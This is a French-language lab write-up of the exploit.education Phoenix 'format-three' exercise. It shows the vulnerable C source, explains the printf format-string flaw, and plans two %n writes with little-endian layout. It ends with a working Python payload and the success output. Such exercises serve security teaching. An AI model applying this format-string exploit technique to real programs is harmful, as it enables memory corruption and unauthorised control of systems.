kiddie
.:: @OREL ::.

Phoenix - Format string - Format 3
[ 20/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/format-three/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level introduces writing specific values to memory, and how that can be accomplished.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/format-three, by https://exploit.education * * Can you change the "changeme" variable to a precise value? * * How do you fix a cracked pumpkin? With a pumpkin patch. */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int changeme; void bounce(char *str) { printf(str); } int main(int argc, char **argv) { char buf[4096]; printf("%s\n", BANNER); if (read(0, buf, sizeof(buf) - 1) <= 0) { exit(EXIT_FAILURE); } bounce(buf); if (changeme == 0x64457845) { puts("Well done, the 'changeme' variable has been changed correctly!"); } else { printf( "Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme); } exit(0); }
Dans le contexte global, une variable notée changeme de type integer est déclarée. Toujours dans ce même contexte, une procédure nommée bounce est créée, elle prend un seul argument, str de type char *. Cette procédure se content d'afficher la ch- aîne pointée par str. Le main récupère l'entrée utilisateur dans un buffer de 4096 octets noté buf et invoque bounce avec buf en argument. Après cet appel, si changeme est égale à 0x64457845, l'exercice est réussi.
[1.2 - identification de la vulnérabilité
La vulnérabilité se situe dans la procédure bounce, en effet, celle-ci appelle printf avec str en argument, str étant une copie de l'entrée utilisateur, il est possible d'injecter une chaîne de caractères qui sera interprétée par printf.
[2 - Méthodologie d'exploitation
Tout comme format 2, on ne va pas être en mesure de modifier la variable changeme à cause du format de l'adresse et de l'octet 0x0a qui l'a compose. Cette limitation n'est valable que pour le version 64 bits du programme, en effet, si on prend la version 32 bits, l'adresse semble tout à fait exploitable :
user@phoenix-amd64:/opt/phoenix/i486$ objdump -t format-three format-three: file format elf32-i386 SYMBOL TABLE: ... 080482d8 g F .init 00000001 _init 08049844 g O .bss 00000004 changeme 08048350 g .text 00000000 _start 0804836b g F .text 00000023 _start_c ...
On va donc s'intéresser à la version 32 bits du programme pour la suite de cet exercice. Dans format 2 on a déjà eu l'occassion d'écrire une valeur précise à une adresse donnée, cependant, ce n'était pas très élégant dans le sens où on on écrivait tous les octets d'un coup alors qu'il est possible de scinder la valeur à écrire en plusieurs sous-parties. Dans format 3, on nous demande d'écrire la valeur 0x64457845 à l'adresse 0x08049844, le convertisseur %n nous permet d'écrire un integer soit 4 octets sur la plupart des systèmes. On peut utiliser ce convertisseur autour de l'adresse de changeme et diviser la valeur à écrire, 0x64457845, en deux blocs de 2 octets chacuns, 0x6445 et 0x7845. Ces deux blocs peuvent être écrit de différentes manières, j'ai pour ma part choisi d'écrire 0x00007845 à 0x08049844 puis 0x00016445 à 0x08049846, sous forme de schèma cela donne : 1 + + +------------------+ 0x08049844 è | | | | r | c | | 0x45 | e | h | +------------------+ | a | | | é | n | | 0x78 | 2 + c | g | +------------------+ 0x08049846 n | r | e | | | d | i | m | | 0x45 | e | t | e | +------------------+ | u | | | | é | r | | | 0x64 | c | e + + +------------------+ r | | | i | | 0x01 | t | +------------------+ u | | | r | | 0x00 | e + +------------------+ Attention à bien prendre en compte la disposition little endian, qui je le rappelle, stocke l'octet avec le poids le plus faible à l'adresse la plus basse. Cette méthode a le mérite de fontionner, cependant, elle déborde sur 2 octets et écrase leurs valeurs avec 0x0001. L'écriture de l'exploit reste similaire aux exercices précédents, on ajoute juste une adresse supplémentaire. De plus, on connaît déjà l'offset de l'entrée utilisateur qu'on a déterminée dans format 2 et qui vallait 12. Notre exploit aura donc la forme suivante : 0x08049844 + JUNK + 08049846 + %p * 10 + %Yx + %n +%Zx + %n où Y vaudra 0x00007845 moins le nombre d'octets déjà écrit ou Z vaudra 0x00016445 moins le nombre d'octets déjà écrit
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "\x08\x04\x98\x44"[::-1]\ > + "1337" + "\x08\x04\x98\x46"[::-1] + "%p-%p-%p-%p-%p-%p\ >-%p-%p-%p-%p-%30699x-%n-%60414x-%n"' | ./format-three ... Well done, the 'changeme' variable has been changed correctly!
[4 - Conclusion
Bien qu'on ai encore usé d'une galipette pour "valider" cet exercice on peut tout de même se targuer d'avoir écrit deux valeurs à deux adresses différentes.

Tout est faux tout est conforme.